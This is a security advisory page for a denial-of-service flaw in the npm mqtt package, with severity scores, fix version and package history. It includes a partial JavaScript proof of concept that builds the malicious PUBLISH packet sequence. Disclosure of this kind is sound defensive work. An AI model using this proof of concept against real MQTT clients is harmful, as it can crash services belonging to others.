Medium

Denial of Service in mqtt

Disclosed: 28.12.2017
Updated: 11.10.2026 10:22

Affected versions of mqtt do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.

The vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.

Proof of Concept

The following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.

var mqttp = require('mqtt-packet');
var packets = [];
for(var i=0; i<=1000;i++){
    packets.push(
        mqttp.generate({
            cmd:'publish',
            topic:Buffer.from('hello'),
            payload:Buffer.from('world'),
            retain: false,
            dup: false, 
            messageId: ++i, 
            qos: 1
        })
    )
}

Recommendation

Update to version 2.15.0 or later.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	mqtt	>= 2.0.0, < 2.15.0	2.15.0

References

CVSS score 6.5/10

CVSS vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE): CWE-674
Platform: npm
Package: mqtt
Disclosed: 28.12.2017
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-h9mj-fghc-664w - CC BY 4.0

Vulnerability history: mqtt

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 2
First → latest: 12.2017 09.2020
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

High 1
Medium 1

Disclosures per year

2017: 1
2018: 0
2019: 0
2020: 1
2021: 0
2022: 0
2023: 0
2024: 0
2025: 0
2026: 0

01.09.2020

Denial of Service in mqtt

High · 7.5 CVE-2016-1000242 < 1.0.0 1.0.0
28.12.2017

Denial of Service in mqtt this entry

Medium · 6.5 CVE-2017-10910 >= 2.0.0, < 2.15.0 2.15.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application